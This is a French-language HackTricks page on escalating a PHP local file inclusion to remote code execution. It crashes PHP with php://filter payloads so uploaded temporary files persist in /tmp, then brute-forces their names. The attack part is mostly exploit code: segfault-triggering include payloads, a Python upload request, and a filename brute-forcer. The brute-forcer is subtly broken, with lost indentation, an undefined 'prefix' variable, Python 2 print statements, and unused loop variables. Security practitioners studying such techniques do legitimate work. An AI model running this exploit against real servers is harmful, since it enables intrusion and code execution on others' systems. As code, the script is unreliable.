LFI2RCE via Segmentation Fault

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Selon les rapports https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (deuxième partie) et https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, les charges utiles suivantes ont provoqué une erreur de segmentation dans PHP :

php
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Vous devez savoir que si vous envoyez une requête POST contenant un fichier, PHP créera un fichier temporaire dans /tmp/php<quelque chose> avec le contenu de ce fichier. Ce fichier sera automatiquement supprimé une fois la requête traitée.

Si vous trouvez un LFI et que vous parvenez à déclencher une erreur de segmentation dans PHP, le fichier temporaire ne sera jamais supprimé. Par conséquent, vous pouvez chercher ce fichier avec la vulnérabilité LFI jusqu'à ce que vous le trouviez et exécutiez du code arbitraire.

Vous pouvez utiliser l'image docker https://hub.docker.com/r/easyengine/php7.0 pour les tests.

python
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks